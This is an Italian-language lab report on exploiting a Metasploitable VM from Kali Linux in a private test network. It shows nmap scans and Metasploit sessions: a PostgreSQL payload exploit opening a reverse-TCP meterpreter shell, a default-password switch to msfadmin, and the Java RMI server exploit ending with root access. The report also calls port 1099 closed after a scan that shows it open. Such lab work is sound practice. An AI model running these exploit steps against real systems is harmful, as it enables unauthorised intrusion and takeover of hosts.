

RAPPORTO

Per prima cosa ho iniziato configurando l'interfaccia di rete di metasploitable:

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
    address 192.168.11.112
    netmask 255.255.255.0
    gateway 192.168.11.1
```

Poi ho configurato la rete di Kali Linux tramite le impostazioni della VM e UTM:

Connection name: 192.168.11.111 static

General Ethernet 802.1X Security DCB Proxy IPv4 Settings IPv6 Settings

Method: Automatic (DHCP)

Additional static addresses

Address	Netmask	Gateway	
192.168.11.111	24	192.168.11.1	Add Delete

Additional DNS servers: 192.168.11.1

Hardware

Network Mode: Shared Network

Emulated Network Card: Intel Gigabit Ethernet (e1000)

MAC Address: CA:9D:05:E2:69:F1 Random

☒ Show Advanced Settings

IP Configuration

☐ Isolate Guest from Host

Guest Network: 192.168.11.0/24

Successivamente ho utilizzato nmap per eseguire la scansione della porta 1099 di metasploitable per verificare che il servizio rmiregistry sia vulnerabile:

```
(rinatrustamov@kali)-[~]
└─$ nmap -p 1099 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-20 13:57 +04
Nmap scan report for 192.168.11.112
Host is up (0.00096s latency).

PORT      STATE SERVICE
1099/tcp  open  rmiregistry
MAC Address: 2E:31:E3:AC:C2:B6 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
```

Dopo aver scoperto che la porta è chiusa, ho deciso di usare un altro metodo backdoor per entrare nel sistema e attivare il servizio per la porta 1099 (sembra un po' illogico, ma o devo aspettare che l'utente attivi lui stesso il servizio, oppure devo attivare io stesso il servizio sfruttando un'altra vulnerabilità per entrare nel sistema). Quindi ho usato il modulo postgres per entrare nel sistema. Quando meterpreter si è aperto, ho usato un comando per aggiornare /bin/bash. E poi ho cambiato l'utente in msfadmin:

```
msf6 > use 30
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > set rhost 192.168.10.112
rhost => 192.168.10.112
msf6 exploit(linux/postgres/postgres_payload) > run

[-] Msf::OptionValidateError One or more options failed to validate: LHOST.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.168.11.111
lhost => 192.168.11.111
msf6 exploit(linux/postgres/postgres_payload) > set rhost 192.168.11.112
rhost => 192.168.11.112
```

```
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/KRufOmGi.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:48494) at 2024-12-20 16:55:34 +0400

meterpreter > shell
Process 4790 created.
Channel 1 created.
python -c 'import pty; pty.spawn("/bin/bash")'
postgres@metasploitable:~/8.3/main$ sudo rmiregistry &
sudo rmiregistry &
[1] 4795
postgres@metasploitable:~/8.3/main$ su msfadmin
su msfadmin
Password: msfadmin
```

Quindi ho usato il comando "sudo rmiregistry &" e "fg" per portarlo manualmente in primo piano dallo sfondo:

```
msfadmin@metasploitable:/var/lib/postgresql/8.3/main$ sudo rmiregistry &
sudo rmiregistry &
[1] 4799
msfadmin@metasploitable:/var/lib/postgresql/8.3/main$ fg
fg
sudo rmiregistry
[sudo] password for msfadmin: msfadmin

The RMI naming service is listening at 1099
```

E il servizio è stato attivato. Ho usato nmap per scansionare la porta 1099 per verificare che il servizio sia attivo:

```
(rinatrustamov@kali)~$ nmap -p 1099 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-20 13:57 +04
Nmap scan report for 192.168.11.112
Host is up (0.00057s latency).

PORT      STATE SERVICE
1099/tcp  open  rmiregistry
MAC Address: 2E:31:E3:AC:C2:B6 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
```

Dopo aver confermato che la porta è aperta, ho cercato il servizio rmiregistry progettato per Linux x86 e ho utilizzato il modulo per sfruttare le vulnerabilità:

```
msf6 exploit(linux/postgres/postgres_payload) > search rmiregistry

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check
--  --
0  exploit/multi/misc/java_rmi_server       2011-10-15      excellent Yes
   Java RMI Server Insecure Default Configuration Java Code Execution
1  \_ target: Generic (Java Payload)         .               .      .
2  \_ target: Windows x86 (Native Payload)   .               .      .
3  \_ target: Linux x86 (Native Payload)     .               .      .
4  \_ target: Mac OS X PPC (Native Payload)  .               .      .
5  \_ target: Mac OS X x86 (Native Payload)  .               .      .

Interact with a module by name or index. For example info 5, use 5 or use exploit/
multi/misc/java_rmi_server
After interacting with a module you can manually set a TARGET with set TARGET 'Mac
OS X x86 (Native Payload)'

msf6 exploit(linux/postgres/postgres_payload) > use 3
```

```
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  20               yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
s/using-metasploit.html
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on th
e local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080             yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
URIPATH                   no        The URI to use for this exploit (default is random)
```

Dopo alcune configurazioni, ha funzionato. Ho comandato “ifconfig” e “route”:

```
meterpreter > ifconfig
Interface 1
Name      : lo
Hardware MAC : 00:00:00:00:00:00
MTU       : 16436
Flags     : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::
```

```
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
Name      : eth0
Hardware MAC : 2e:31:e3:ac:c2:b6
MTU       : 1500
Flags     : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd8b:c95a:693f:32bf:2c31:e3ff:feac:c2b6
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::
IPv6 Address : fe80::2c31:e3ff:feac:c2b6
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

meterpreter > route
IPv4 network routes

```

Subnet	Netmask	Gateway	Metric	Interface
0.0.0.0	0.0.0.0	192.168.11.1	100	eth0
192.168.11.0	255.255.255.0	0.0.0.0	0	eth0

```
No IPv6 routes were found.
```

“getuid” mostra che ha privilegi di root:

```
meterpreter > getuid
Server username: root
```